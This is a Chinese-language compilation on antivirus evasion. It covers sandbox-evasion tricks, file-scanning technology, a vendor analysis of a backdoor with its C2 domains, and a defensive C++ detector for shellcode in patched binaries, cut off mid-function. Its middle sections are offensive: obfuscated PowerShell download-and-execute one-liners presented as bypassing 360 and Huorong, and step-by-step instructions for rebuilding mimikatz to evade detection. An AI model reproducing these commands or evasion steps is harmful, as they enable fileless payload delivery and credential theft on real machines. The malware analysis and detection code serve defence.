最初,使用基于时间的规避技术 [潜在执行] 观察到了几种恶意软件,这主要归结为使用已知的 Windows API(如 NtDelayExecution、CreateWaitTableTImer、SetTimer 等)将恶意代码的执行延迟一段时间。这些技术一直很流行,直到 Sandbox 开始识别和缓解它们。

2.获取 tickCount

当 Sandbox 识别恶意软件并试图通过加速代码执行来击败它时,它求助于使用多种方法的加速检查。包括 Win32/Kovter 在内的多个恶意软件家族使用的其中一种方法是使用 Windows API GetTickCount 后跟代码来检查是否已过预期时间。但是,我们在恶意软件系列中观察到此方法的几种变体。

沙箱供应商只需创建一个超过 20 分钟的快照,即可轻松绕过这种反规避技术,以使机器运行更多时间。

3.API 泛洪

在 Win32/Cutwail 恶意软件中观察到的另一种随后变得更加普遍的方法是在循环中调用垃圾 API 以引入延迟,称为 API 泛洪。以下是显示此方法的恶意软件代码。

4.内联代码

我们观察到此代码如何导致 DOS 条件,因为沙箱无法很好地处理它。另一方面,这种行为并不难被更复杂的沙箱检测到。随着他们处理基于 API 的停顿代码的能力越来越强,实现类似目标的另一种策略是引入内联汇编代码,该代码在执行恶意代码之前等待 5 分钟以上。我们发现这种技术也在使用中。

Sandbox 现在功能更强大,并配备了代码插桩和完整的系统仿真功能来识别和报告停滞代码。事实证明,这是一种简单的方法,可以避开大多数高级沙箱。根据我们的观察,以下内容描述了恶意软件在过去几年中使用的流行的基于时间的规避技术的增长。

5.硬件检测

恶意软件广泛采用的另一类规避策略是对硬件进行指纹识别,特别是检查总物理内存大小、可用 HD 大小/类型和可用 CPU 内核。

这些方法在 Win32/Phorpiex、Win32/Comrerop、Win32/Simda 等恶意软件家族和其他多个流行的恶意软件家族中变得突出。根据我们对它们的变体的跟踪,我们注意到 Windows API DeviceIoControl() 主要与特定的控制代码一起使用,以检索有关存储类型和存储大小的信息。

发现勒索软件和加密货币挖掘恶意软件正在使用已知的 GlobalMemoryStatusEx () 技巧检查总可用物理内存。类似的检查如下所示。

存储大小检查:

下图是在沙箱中实现的示例 API 拦截代码,该代码可以操纵返回的存储大小。

随后,基于 Windows Management Instrumentation (WMI) 的方法变得更加受欢迎,因为现有沙箱无法轻易拦截这些调用。

 以下是我们在跟踪的恶意软件系列中观察到的存储类型和大小检查的增长路径

6.CPU 温度检查

恶意软件作者总是在添加新的和有趣的方法来绕过沙盒系统。另一个非常有趣的检查涉及检查执行中处理器的温度。

检查通过系统中的 WMI 调用执行。这很有趣,因为 VM 系统在此调用后永远不会返回结果。

7.CPU 计数

Win32/Dyreza 等流行的恶意软件系列使用 CPU 内核数量作为规避策略。如前所述,最初使用基于 API 的普通路由发现了几个恶意软件系列。但是,大多数恶意软件家族后来都采用了 WMI 和更隐蔽的基于 PEB 访问的方法。

恶意软件中任何不依赖 API 的规避代码都很难在沙盒环境中识别,恶意软件作者希望更频繁地使用它。以下是早期恶意软件菌株中引入的类似检查。

有多种方法可以获取 CPU 内核计数,但更隐蔽的方法是访问 PEB,这可以通过引入内联汇编代码或使用内部函数来实现。

获取 CPU 内核计数的相对较新的技术之一已在博客中概述, 此处.但是,在我们观察到恶意软件使用 CPU 内核计数来逃避自动分析系统时,以下内容被采用在概述的顺序中。

8.用户交互

恶意软件作者广泛用于规避沙盒环境的另一类臭名昭著的技术是利用自动分析系统从未被人类手动交互的事实。传统的沙箱从来都不是为了模拟用户行为而设计的,而恶意软件的编码能够确定自动化系统和真实系统之间的差异。最初,发现多个恶意软件家族正在监控 Windows 事件并停止执行,直到它们生成。

下面是使用 GetForeGroundWindow 的 Win32/Gataka 变体的快照,并检查对同一 API 的另一次调用是否更改了 Windows 句柄。在 Locky 勒索软件变体中发现了相同的技术。

下面是来自 Win32/Sazoora 恶意软件的另一个快照,检查鼠标移动,这成为其他几个家庭广泛使用的一种技术。

还发现恶意软件活动部署了一系列技术来检查与受感染系统的历史交互。其中一项活动,提供 Dridex 恶意软件,广泛使用仅在文档关闭时触发的自动执行宏。下面是一个此类活动的 VB 代码快照。

还发现相同的恶意软件活动在 MRU(最近使用)文件的代码中引入注册表项检查,以验证与受感染机器的历史交互。发现这种方法的变体也以编程方式执行相同的检查。

使用注册表项进行 MRU 检查:\HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\User MRU

上述检查的编程版本:

以下是我们描述这些方法如何在规避恶意软件中得到采用。

9.环境检测

恶意软件使用的另一种技术是对目标环境进行指纹识别,从而利用沙箱的错误配置。一开始,Red Pill 技术等技巧足以检测虚拟环境,直到沙箱开始强化其架构。然后,恶意软件作者使用新技术,例如根据常见的沙盒名称或注册表检查主机名,以验证已安装的程序;极少数程序可能表明是假机器。其他技术,例如检查文件名以检测是否使用了哈希或关键字(例如恶意软件),以及检测正在运行的进程以发现潜在的监控工具,以及检查网络地址以检测列入黑名单的工具,例如 AV 供应商。

Locky 和 Dridex 正在使用诸如检测网络之类的技巧。

10.结论

传统的沙盒环境是通过在可用的虚拟化解决方案之一(VMware、VirtualBox、KVM、Xen)上运行虚拟机来构建的,这为规避恶意软件留下了巨大的漏洞。

恶意软件作者通过添加新的技术来绕过安全解决方案来不断改进他们的创作,而规避技术仍然是检测沙盒的有力手段。随着技术的进步,恶意软件技术也在发展。

沙箱系统现在配备了先进的检测和仿真功能,可以检测大多数这些技术。然而,我们相信沙盒技术的下一步将是裸机分析环境,它肯定可以击败任何形式的规避行为,尽管常见的弱点仍然很容易被发现。

(二)、基于文件扫描的反病毒技术的演变

第一代扫描技术

第一代扫描技术的核心用一句话就可以概括——在文件中检索病毒特征序列,虽然出现的比较早,但是直到现在也仍然被个大杀软厂商使用着,其主要分为“字符串扫描技术”和“通配符扫描技术”两种

字符串扫描技术

使用从病毒中提取出来的具有特征的一段字符来检测病毒,这些字符必须在一般程序中不太可能出现。例如一个隐藏执行格式化所有硬盘的命令不可能出现在普通程序中,可以将其作为特征字符。

通配符扫描技术

由于字符串扫描技术有执行速度与特征码长度的限制,所以正在逐渐被通配符扫描技术取而代之。现在反病毒软件中简单的扫描器通常支持通配符。扫描器中的通配符一般用于跳过某些字节或字节范围,而现在大多数扫描器已经支持正则表达式了。下面通过一个例子来说明通配符扫描技术的原理,例如病毒库中有以下一段特征码:

......020E 07BB ??02  %3  56C9......

可以将其解释如下:

  • 尝试匹配02,如果找到则继续否则返回为假
  • 尝试上一匹配目标后匹配0E,如果找到则继续否则返回为假
  • 尝试上一匹配目标后匹配07,如果找到则继续否则返回为假
  • 尝试上一匹配目标后匹配BB,如果找到则继续否则返回为假
  • ??表示忽略此字节
  • 尝试上一匹配目标后匹配02,如果找到则继续否则返回为假
  • 在接下来的3个位置(字节)中尝试匹配56,如果找到则继续,否则返回假
  • 尝试上一匹配目标后匹配C9,如果找到则继续,否则返回假

由于这种技术支持半字节匹配,这样可以更加精确地匹配特征码,一些早期的加密病毒使用这种方法都能比较容易地检测出来。

第二代扫描技术

第二代扫描技术以“近似精确识别法”和“精确识别法”为代表,除此之外还有“智能扫描法”与“骨架扫描法”,第二代扫描技术与第一代相比,对检测精度提出了更严格的要求。

智能扫描法

忽略检测文件中像NOP这种无意义的指令。而对于文本格式的脚本病毒和宏病毒,则可以替换多余的格式字符,如空格、换行符或制表符等。所有的替换动作均在扫描缓冲区中执行,大大提高了扫描器的检测能力。

近似精确识别法

多套特征码该方法采用至少两个字符串集来检测每个病毒,如果扫描器检测到其中一个特征符合,将会将其识别为变种,但不会执行清除病毒体的操作。如果使用的多个特征码全部符合,则会执行清除病毒体的操作。校验和这个方法是让每一个无毒软件生成一个校验和,等待下次扫描时在进行简单的校验和对比,如果校验和发生变化,再进行其他的扫描,否则则说明这个文件没有被感染,由于不需要对所有文件进行扫描,大大提升了扫描器的效率,但是严格来说这并不算扫描技术,目前,某些安全厂商还对病毒采取了分块校验的方式以提高识别的准确性。以上两种方式只是近似精确识别法中的两种,近似精确识别法中包含了若干种方法,这里就不进行一一介绍了。

骨架扫描法

由大名鼎鼎的卡巴斯基公司发明,在检测宏病毒时效果特别显著,没有使用上面所说的特征码和校验和而是采用逐行解析宏语句,并将所有非必要字符丢弃,只剩下代码的骨架,对代码骨架进行进一步的分析,在一定程度上跳了对变种病毒的检测能力。

精确识别法

目前唯一能保证扫描器精确识别病毒变种的方法,通常情况下与第一代扫描技术结合使用。精确识别法也是利用校验和技术,不过应用更广、更负责。甚至能通过对整个病毒进行校验和计算来生成特征图。

基于内存扫描的反病毒技术

内存扫描器一般与实时监控型扫描器协作,从理论上来杀软的文件扫描组件能识别的病毒,内存扫描器也能识别。但是由于程序在运行后会将自身释放到内存中,导致释放后的文件结构与未执行的文件相比有较大的差异。因此在内存扫描时和文件扫描时所使用的特征码很多情况下使用的不是一套。当病毒被加载到内存中就证明它要开始执行一些动作,在病毒或木马初始化运行环境时,会让更多的可疑点暴露出来,为了进一步提高效率和准确性,杀软厂商一般会为内存扫描组件单独定义一套新的特征码。

基于行为监控的反病毒技术

此类反病毒技术一般需要虚拟机与主动防御等技术配合使用。其原理是,监控程序的行为,并将其与病毒木马行为进行分析比对,如果某些程序在执行会进行一些可疑的操作,那么即使是一个新生病毒,也会被拥有这种技术的反病毒产品所拦截。ps:行为——应用程序运行后的操作。行为特征——一个程序按照某种顺序执行某一系列操作所具有的特征。下面以一个典型的木马程序为例,进行解释。一个木马程序,可能执行的操作步骤如下

  • 释放一些文件到系统关键目录中
  • 修改系统设置使这些新释放的文件可以自启动
  • 删除自身

如果一个程序执行的操作具有上述特征,那么这个系统大概率就是木马

基于新兴技术的反病毒技术

云查杀

云查杀用一句话概括就是——“可信继承,群策群力”,也正因此,云查杀以及其跟随衍生出来的技术也是最具有挑战性的。云查杀的基本思路就是以服务器为脑,以所有用户的机器为触角,从而使服务器可以随时知道每个用户的情况,如果其中一个用户与其他用户对比产生差异,那么服务器就会发出指令,让发生异常的机器检查出问题所在。并将问题反馈给服务,让问题在干扰到其他用户之前被扼杀掉。上面我们提到的其他用户是整个信任机制的根本,举例来讲,如果大多数机器都运行过一个软件,那么当一个新加入的机器也试图运行这个软件时,服务器就认为这是正常的,否则服务器就会发出相应指令让用户的机器去阻止其运行。

可信继承

整个云的信任机制是非常复杂的结构,其中包含用户参与的信任评价体系、反病毒专业人员参与的样本分析信任体系、服务端自动判断信任体系、基于数字签名的认证信任体系等。顶端的信任体系由数字签名、样本分析构成,这些顶端的信任体系在用户的机器上表现出来的形式就是“根可信进程”。所谓的“根可信进程”就是指可信进程链条的顶端,凡是由可信进程开启的新进程都被认为是可信的。举例解释一下,假如进程A是具有数字签名的根可信进程,那么它在被用户直接执行时就不会触发杀软的任何操作,且由A进程创建的新进程也成为可信进程。如果进程B是一个非可信程序,那么它在被用户执行时就会受到严密的监控,如果执行期间有什么敏感操作,样本会被马上提交到服务器进行处理。这样以来,基于云的信任网络会越来越庞大,其收集的信息也将也来越多。

群策群力

云计算和病毒木马的感染都具有分布性这一特点,这样一来,病毒木马感染的速度越快、感染的面积越广,其被云查杀捕获到的可能性就越大。只要某一台计算机上发现新病毒,它马上会被提交到服务端,在服务端快速更新后,所有在云中的计算机就都获得了对这种病毒的免疫力。

双引擎查杀/多引擎查杀

与字面意思相同,即同时运用两个反病毒引擎扫描病毒,其扫描的准确度会比单一反病毒引擎有所提高。通常,具有多个反病毒引擎的产品都会让用户选择扫描模式,如是启动某个引擎,还是启动所有引擎,因此在针对此类反病毒产品进行免杀的时候往往会在操作思路上将其分割为若干个反病毒产品,然后逐个攻破。

四、相关实例

(一)、一款后门病毒

2023年,火绒威胁情报系统监测到一款后门病毒正在快速传播,被激活后会通过远程服务器下载多个恶意文件并获取远端恶意代码,随后黑客可以进行截取受害者屏幕图像、远程控制受害者电脑等各种恶意操作。不仅如此,该病毒还使用多种手段来躲避安全软件的查杀,隐蔽性极强。目前,火绒安全产品可对上述病毒进行拦截查杀,请用户及时更新病毒库以进行防御。

该黑客团伙投递的文件名大部分与用户常用软件有关, 火绒安全实验室目前收集到其伪装的部分文件名如下图所示:    

火绒工程师分析发现,该病毒使用了包括 VMProtect 壳保护、构造 ROP 链、DLL 内存加载、“白加黑” 、多层内存解密等多种技术来躲避安全软件的查杀,因此,火绒安全提醒用户不要轻易点击来历不明的文件,建议先查杀后再使用。 注:“ROP (返回导向编程) ” 是一种将栈上写入的 shellcode 指令串联起来,使其能作为函数被已加载指令调用的一种手段。

本次分析的病毒执行流程如下所示:

病毒执行流程

该病毒类型随着时间线推进,分别使用了 UPX、VMP 等保护壳,而目前监测到最新的版本为无壳版本,可见作者仍在积极开发测试当中:

加壳情况

病毒首先在栈中开辟大块区域写入代码,该代码块随后作为 EnumFontsW 的回调函数被执行。这种通过记录栈中的可执行流(ROP)的方式可以绕过数据执行保护(DEP),增强其隐蔽性。

栈中记录代码

获取栈中展开的代码后发现内嵌了一个 DLL 文件,该 DLL 在内存中自加载,并调用其唯一的导出函数 make,这种加载方式能使其无法通过 ProcessExplorer 等软件检测出加载的行为,进一步增强了免杀效果。

DLL 内存加载

在 make 函数的执行过程中,其会先判断当前执行的文件名是否包含预定义数字,这些数字目前理解有两个含义:回连标志和单独执行标志。执行流程图如下所示:

执行流程

1:第一个是回连标志

当包含特定的数字(回连标志)时,其会从 C2 下载相应的jpg 文件并重命名为 md.jpg,分别存放在 "C:\Users\Public\" 和"C:\Users\Public\Documents\" 目录下以供后续使用

每一个下载的 jpg 文件实际上都是一个 shellcode,不同的 jpg 文件在代码层上都是统一的,但是在数据段中有着不同的回传 IP 和 C2 域名,所以称其为回连标志。(该类shellcode 将在后面分析,每个 jpg 所含有的 IP 在附录中可查)

2.第二个是单独执行标志

当程序不具备单独执行标志(这里是"16116")时,其必须先拥有 md.jpg 文件,然后再下载其他恶意文件。这些病毒文件会分别存放到不同的位置中,包括:

•       "C:\Users\Public\Documents"目录下 ttd.exe、UnityPlayer.dll

•     “C:\Users\Public\”目录下 zd.exe、md.exe、zd.jpg

分类执行:

根据 make 函数中的执行逻辑可知,所下载的恶意文件分成 3 大部分:

第一部分:zd.exe (单独线程执行,内存加载 zd.jpg)

第二部分:md.exe(单独线程执行,内存加载 md.jpg(如果有的话))

第三部分:Documents 下的ttd.exe、UnityPlayer.dll (设置隐藏属性,暂时保留)

第一部分——zd.exe:

zd.exe是一个由 Rust 编写的恶意加载程序,用于将一同下载的 zd.jpg 作为 shellcode 加载并执行:

在 zd.exe 内部也存在着 PDB 路径,许多调试符号,有意义的字符串等信息可以验证分析:

字符串等验证信息

zd.jpg 作为 shellcode 被加载执行,在代码与数据之间,病毒作者以codemark 作为分界线。在数据区中,前面部分字节被赋予了特定的含义,有用作函数参数的,有用于作为执行条件的,称其为标志位区。后面有可直接使用的域名信息,称其为字符串区。最后是待解密使用的字符,称其为解密数据区(在后面会使用)。

shellcode 加载

当定位到分隔符 "codemark",获取特定标志位信息及域名字符串 yk.ggdy.com 后,便会对其发起连接请求。这里发送给 C2 的 "64" 猜测是要求回传 64 位的代码,由此也可进一步猜测有 32 位版本。

从 C2 下载恶意代码

回传代码部分:


C2 对指令的响应可能在不同的时间有着不同的下发代码,也可能还存在别的响应指令,这里仅讨论本次下发的代码内容。本次下发的恶意代码进行了包括屏幕截图,注册表读取,保持回连等操作。详细分析如下:本次接收的代码依旧处于加密状态,在解密运算中,从 E byte 位开始为待解密信息,解密计算从 0 偏移处开始算起,解密逻辑如下。

解密回传代码

然而,在解密后的代码中发现里面还嵌套着两个 DLL 文件,并且是递归嵌套,下图并未展示嵌套关系:(在母 DLL 里面还嵌套着子 DLL 文件,但子 DLL 并未执行)

DLL 嵌套

在执行过程中,其会先后执行内嵌母DLL 的 dllmain 函数和 load 函数:


回传代码执行

虽然该 DLL 有 3 个导出函数,并且run 和 zidingyixiugaIDAochuhanshu(喻指自定义修改导出函数)并未执行,但是它们所作的操作都围绕着两个点:


•       第一个是获取并修改前面 zd.jpg 待解密数据区中数据进行解密并与注册表中 IP 数据相关联。这部分代码将 shellcode 末尾加密数据的特定字符进行包括字符替换等解密方式后,得到一个类似于域名,时间,路由消息组成的以 "|" 分隔的关键字串,猜测是想创建并写入注册表 IpDate 中进行后续提取利用。

shellcode 末尾数据区解密

•       第二个是开启两个后台线程,一个是屏幕截图,另一个是保持回连。屏幕截图所在的线程先会获取系统目录"C:\ProgramData",然后在该目录下创建 quickScreenShot 文件夹,以当天日期创建分类文件夹,最后把拍摄的屏幕数据以 "日期时间" 的命名方式写入并保存

获取屏幕截图

在进行屏幕截图的过程中,另一个保持回连的线程也会同步开启,但该线程会先休眠整整60分钟

之后会进行代码解密操作,以hackbrian 作为 key 执行解密算法:

解密后的代码与前面分析的 shellcode 同类,用于等待 C2 的下一步操作,可以执行包括远程控制在内的各种操作。(这里 ttkk.youbi.co 域名是错误的,末尾少了个m,怀疑由作者的疏漏导致)。

内嵌加密 shellcode

最后在该内嵌 dll 的字符串中发现有 "上线模块.dll",猜测会在后续阶段的由 C2 下发。

第二部分——md.exe

md.exe也是由 rust 编写,经过逻辑对比发现其与 zd.exe 一致, 代码字节也是相同,故不再重复分析。

逻辑对比图

第三部分——ttd.exe 和UnityPlayer.dll

ttd.exe在本次样本分析属于第三部分,并未被启动运行,怀疑是在开发中或暂时保留以备后续操作的模块,这里出于安全研究的目的继续对其进行分析。病毒作者在这里利用了白加黑手法,通过合法的 ttd.exe 加载携带恶意代码的 UnityPlayer.dll 躲避查杀,该 dll 在被加载时也会 "变相" 执行 shellcode 中的代码进行后续操作。其先进行文件复制,把"C:\Users\Public\Documents\md.jpg" 复制成 "C:\Users\8.jpg" :

然后执行打开本地画板程序 mspaint.exe,以进程注入的方式在其内存空间中开辟适当空间,并写入jpg 中的 shellcode 代码,随后调用 CreateRemoteThread 进行远程线程执行。

进程注入

加载并写入 shellcode

shellcode的后续执行部分在前面已详细叙述,这里不再重复分析。

(二)、一个可以绕过360安全卫士12.X版本的PowerShell语句。

1.PowerShell 简介

Windows PowerShell是一个命令行管理程序,相比较于CMD命令行,它更为强大,同时,它又是一种脚本语言,为系统管理设计。在.NET Framework的基础上构建,简单来说,可以类比UNIX系统的脚本(shell)。

2002年,微软研究了一个新的产品Monad,在2005年发布第一个版本,到2006年被重命名为Windows PowerShell,目前微软官网文档,已经更新到7.2版本,第一款默认集成PowerShell的系统版本是Windows Server 2008

2.PowerShell 免杀

上一部分提到,Windows PowerShell是一种脚本语言,那么通过这种语言,可以完成很多系统管理操作,同时也为攻击者提供了一种利用思路。

现在利用思路大都是利用其实现与远端IP进行通信,利用其传递木马执行实现肉鸡上线。其最主要优点就是,无文件落地,痕迹只存在于内存进程之中,隐蔽性较强。

#PowerShell 下载执行
powershell.exe -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://XX.XX.XX.XX/1.ps1'))"

当然,像这种明目张胆通过公网IP地址下载并执行木马脚本,肯定会被杀毒软件所拦截。目前杀软对PowerShell中的参数和函数进行监测,我们可以通过逐个拆分进行探测杀软监测规则。

通过上图可以发现,火绒对hidden参数进行了监测。以此类推,逐个排查,对PowerShell语句进行改进、变换、拼接等操作,实现免杀。

3.可绕过360安全卫士12.X版本的PowerShell语句。

# 拆分DownloadString函数 + echo 过最新版火绒 + 360 12.X版本
cmd /c echo $c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://XX.XX.XX.XX/test.ps1'')'.Replace('123','adString');IEX ($c1+$c2) | powershell -

# 拆分http关键字,过360 12.X版本
powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://XX.XX.XX.XX/test.ps1''))';IEX ($a+$b)"

#通过中文引号,绕过360 12.X版本
powershell "IEX ((new-object net.webclient).downloadstring('ht‘+’tp://XX.XX.XX.XX/test.ps1'))"

# 替换IEX + http拆分 绕过最新版火绒
powershell "$a='123((New-Object Net.WebClient).DownloadString(''ht'.Replace('123','IEX');$b='tp://XX.XX.XX.XX/test.ps1''))';IEX ($a+$b)"

绕过方式还有很多很多,只要自己肯去排列组合各种可能性,可能大家都能达到免杀效果。只是通过上面的几个实例和大家探讨一下基本的PowerShell免杀思路。

而且PowerShell不仅仅可以做到木马执行上线CS操作,还可以做提权、加用户等利用方式,有兴趣的可以自己探索一下。

4.总结

关于PowerShell有很多的利用方式,我也是在别人的基础上去慢慢摸索,要学的东西还很多,不懂的东西还是太多,以上实例,只测试火绒/360安全卫士,其他杀毒软件未做测试。

关于360安全卫士13.X版本,太难了可能是因为最近的全国性质活动,竟然不允许以任何形式调用PowerShell,系统最高权限去启用PowerShell也是默认禁止。可能有别的方法去启动吧?目前没有探索出来,时间还是太仓促,可能就在自己的知识盲区里面,慢慢再研究吧。

(三)、使用mimikatz免杀

1.初识Mimikatz

Mimikatz可以说渗透人员都知道的一款获取Windows的明文密码的工具,是法国人编写的但在全球都广范围使用着,主要能够从 Windows 认证(LSASS)的进程中获取内存,并且获取明文密码和NTLM的哈希值,因此黑客可以借此横向内网环境。

2.环境部署


(1).先将Mimikatz 工具下载到本地:

https://github.com/gentilkiwi/mimikatz

(2).然后安装Visual Studio 2012

(3).运行之后,勾选下一步。(Mimikatz免杀只需要勾选c ++即可)

3.配置环境

配置c++环境

4.免杀原理:主要通过更改杀软定位源码种的特征源码,对其进行修改然后达到免杀的效果

(1).使用Visual Studio 2012方式打开mimikatz.sln

(2).然后生成exe

(3).然后运行进行检测

(4).进入属性,更改平台工具集和运行环境,将运行环境改为64位。

(5).修改源码,替换mimikatz替换为abc

(6).将所有关键字进行替换

(7).看到了更改后的文件,将关键注释信息进行删除。

(8).新建版本信息区

(9).最后在线生成ico,然后进行替换

在线生成透明ICO图标——ICO图标制作

https://www.bitbug.net/

(10).最后进行bypass测试,测试过程大家自行测试。

(四)、通杀检测基于白文件patch黑代码的免杀技术的后门

1.致命缺陷工作原理

此类技术工作原理基本上跟4年前相同,找一个比较大的白程序,然后打补丁,换成自己的shellcode。如先知论坛这个大哥的帖子:

记一次Patch exe 文件实现的静态免杀
https://xz.aliyun.com/t/15096
重点来了,shellcode要怎么访问API列表?

答案是GS寄存器,通过GS寄存器访问PEB访问到LDR![2022]填鸭式shellcode编写教程 (一)
https://key08.com/index.php/2022/09/07/1551.html
[2020]GS寄存器/fs寄存器
https://key08.com/index.php/2020/12/13/810.html

2.检测方案

聪明的你已经想到,扫描代码中的GS访问! 如
mov rax,gs:[0x30]
很好,这已经成功一半,还有一半是,我们不能直接这样做静态扫描,因为GS寄存器的长度与指令是不固定的,此外直接检测GS也会造成很大的误报,比如某些VEH和SEH或者获得栈大小/pid/tid的函数就是会访问gs的,误报很大,所以我们需要做模式匹配

3.开始检测

我们最终目的是检测ldr的访问,甚至是可以更进一步,检测API调用也不是问题。这个留给后人搜集函数列表由于我不想跟IDA一样追踪控制流,我就做了一个比较简单的基于capstone的统计int3和ret的”乞丐版”函数检测

auto buildFunctionMaps(pe64* pe) -> std::vector<std::shared_ptr<_functionDetail>> {
    std::vector<std::shared_ptr<_functionDetail>> functionList;
    cs_insn* insn = nullptr;
    size_t disasmCount = 0;
 
    do {
 
        auto textSection = pe->get_section(".text");
        const auto codeAddressInMemory = reinterpret_cast<uint64_t>(
            pe->get_buffer()->data() + textSection->VirtualAddress);
 
        disasmCount =
            cs_disasm(capstone_handle,
                reinterpret_cast<const uint8_t*>(codeAddressInMemory),
                textSection->Misc.VirtualSize, 0, 0, &insn);
        if (disasmCount == 0) {
            break;
        }
        std::vector<std::string> backTrackCodeList;
        bool isEnterFunction = false;
        bool isFirst = true;
        size_t currentFunctionSize = 0;
        uint64_t currentFuncAddress = 0;
        size_t offset = 0;
 
        for (size_t index = 0; index < disasmCount; index++) {
            const auto code = insn[index];
            const auto codeMnemonic = std::string(code.mnemonic);
            const auto opCode = std::string(code.op_str);
            if (backTrackCodeList.size() > 3) {
                backTrackCodeList.erase(backTrackCodeList.begin());
            }
            backTrackCodeList.push_back(codeMnemonic);
            if ((codeMnemonic != "int3" && codeMnemonic != "nop") &&
                ((backTrackCodeList.size() > 2) &&
                    (backTrackCodeList[0] == "int3" ||
                        backTrackCodeList[0] == "nop") &&
                    (backTrackCodeList[1] == "int3" ||
                        backTrackCodeList[1] == "nop") &&
                    (backTrackCodeList[2] == "int3" ||
                        backTrackCodeList[2] == "nop")) &&
                isEnterFunction == false) {
                // printf("进入函数 开始地址: %llx\n", codeAddressInMemory + offset);
                 // printf("address: 0x%llx | size: %d code: %s %s \n",
                 //         code.address, code.size, code.mnemonic, code.op_str);
                currentFuncAddress = codeAddressInMemory + offset;
                isEnterFunction = true;
                backTrackCodeList.clear();
            }
            else if ((codeMnemonic == "int3" || codeMnemonic == "nop") &&
                ((backTrackCodeList.size() > 2) &&
                    (backTrackCodeList[0] != "int3" &&
                        backTrackCodeList[0] != "nop")) &&
                isEnterFunction) {
                //printf("退出函数 结束地址: %llx 当前大小: %d \n", codeAddressInMemory + code.address, currentFuncAddress - codeAddressInMemory);
 
                auto func = _functionDetail{ .start_address = currentFuncAddress,
                                .end_address = codeAddressInMemory + code.address,
                                .size = (codeAddressInMemory + code.address) - currentFuncAddress };
                functionList.push_back(std::make_shared<_functionDetail>(func));
                //printf("退出函数 结束地址: %llx 当前大小: %d \n", func.end_address, func.size);
 
                isFirst = false;
                isEnterFunction = false;
                currentFunctionSize = 0;
                currentFuncAddress = 0;
            }
            currentFunctionSize += code.size;
            offset += code.size;
        }
        if (isFirst) {
            functionList.push_back(
                std::make_shared<_functionDetail>(_functionDetail{
                    .start_address = static_cast<uint64_t>(codeAddressInMemory),
                    .end_address = static_cast<uint64_t>(
                        codeAddressInMemory + textSection->Misc.VirtualSize),
                    .size = textSection->Misc.VirtualSize }));
        }
    } while (false);
    cs_free(insn, disasmCount);
    return functionList;
}

符号执行
有了函数列表,我们就可以做符号执行,寻找出哪些函数里面有GS寄存器被访问的影子

super_huoji_tracker::super_huoji_tracker(uint64_t startAddr, size_t sizeOfCode, uint64_t current_function_rva)
{
    if (cs_open(CS_ARCH_X86, CS_MODE_64, &capstone_handle_i) != CS_ERR_OK) {
        __debugbreak();
    }
    cs_option(capstone_handle_i, CS_OPT_DETAIL, CS_OPT_ON);
    cs_option(capstone_handle_i, CS_OPT_SKIPDATA, CS_OPT_ON);
 
    do
    {
        disasmCount =
            cs_disasm(capstone_handle_i,
                reinterpret_cast<const uint8_t*>(startAddr),
                sizeOfCode, 0, 0, &insn);
        if (disasmCount == 0) {
            break;
        }
        for (size_t index = 0; index < disasmCount; index++) {
            const auto code = insn[index];
            this->ins_list.push_back(std::make_shared<cs_insn>(code));
        }
    } while (false);
    this->current_function_rva = current_function_rva;
}

别在意大小写问题,这段代码是我从我的VMP还原项目抠出来的:

auto super_huoji_tracker::get_next_ins() -> std::shared_ptr<cs_insn> {
    if (this->ins_ip >= this->ins_list.size()) {
        return nullptr;
    }
    const auto result = this->ins_list[this->ins_ip];
    this->ins_ip++;
    this->ins_ip_address = result->address;
    return result;
}

[2023]VMP还原day3:模式匹配寻找VIP/VSP和Flow Entry
https://key08.com/index.php/2023/02/20/1706.html
模式匹配
有了符号执行后,我们只需要做到找出哪些寄存器访问了gs,并且这些寄存器是不是访问了peb,并且访问了peb后是不是访问了ldr,还可以更进一步,但是现在就够了,基本上就能确定是恶意的shellcode在做坏事了

auto super_huoji_tracker::track_gs_access() -> void
{
    //const auto matched_gs_access = match_code([&](cs_insn* instruction) {}, [&](cs_insn* instruction) {}, {}, {});
    const auto isGsRegAccess = match_code([&](cs_insn* instruction) {
        //@todo: other access gs reg code...
        if (instruction->id != X86_INS_MOV && instruction->id != X86_INS_MOVZX) {
            return false;
        }
 
        if (instruction->detail->x86.operands[1].mem.segment != X86_REG_GS) {
            return false;
        }
        /*
            gs:[0x30] TEB
            gs:[0x40] Pid
            gs:[0x48] Tid
            gs:[0x60] PEB
            gs:[0x68] LastError
        */
        if (instruction->detail->x86.operands[1].mem.disp != 0x30 && instruction->detail->x86.operands[1].mem.disp != 0x60) {
            return false;
        }
        return true;
    }, [&](cs_insn* instruction) {}, {}, {});
    if (isGsRegAccess == false) {
        return;
    }
    const auto currentIns = this->ins_list[this->ins_ip - 1].get();
    const auto gsAccessReg = currentIns->detail->x86.operands[0].reg;
    x86_reg ldrAccessReg;
    bool isPebAccess = false;
    if (currentIns->detail->x86.operands[1].mem.disp == 0x30) {
        //从TEB访问的PEB->ldr
        isPebAccess = match_code([&](cs_insn* instruction) {
            //@todo: other access gs reg code...
            if (instruction->id != X86_INS_MOV && instruction->id != X86_INS_MOVZX) {
                return false;
            }
 
            if (instruction->detail->x86.operands[1].mem.base != gsAccessReg) {
                return false;
            }
            if (instruction->detail->x86.operands[1].mem.disp != 0x60) {
                return false;
            }
            ldrAccessReg = instruction->detail->x86.operands[0].reg;
            return true;
        }, [&](cs_insn* instruction) {}, {}, {});
    }
    else {
        //直接访问的GS->peb
        isPebAccess = true;
        ldrAccessReg = gsAccessReg;
    }
    if (isPebAccess == false){
        return;
    }
    //访问了PEB的ldr
    const auto isPebLdrAccess = match_code([&](cs_insn* instruction) {
        //@todo: other access gs reg code...
        if (instruction->id != X86_INS_MOV && instruction->id != X86_INS_MOVZX) {
            return false;
        }
        if (instruction->detail->x86.operands[1].mem.base != ldrAccessReg) {
            return false;
        }
        if (instruction->detail->x86.operands[1].mem.disp != 0x18) {
            return false;
        }
        return true;
        }, [&](cs_insn* instruction) {}, {}, {});
    if (isPebLdrAccess == false) {
        return;
    }
    printf("mawlare function detected at address: 0x%llx by gs access peb->ldr \n", this->current_function_rva);
    this->print_asm(currentIns);
}

熵分析没错,当有了函数后,我们可以把代码熵的函数颗粒度精细到函数,假定大于0.7的函数就是混淆的shellcode:

auto calculateEntropy(void* data, size_t size) -> double {
    if (data == nullptr || size == 0) {
        return 0.0;
    }
 
    unsigned char* byteData = static_cast<unsigned char*>(data);
    std::unordered_map<unsigned char, size_t> frequencyMap;
 
    // 计算每个字节的频率
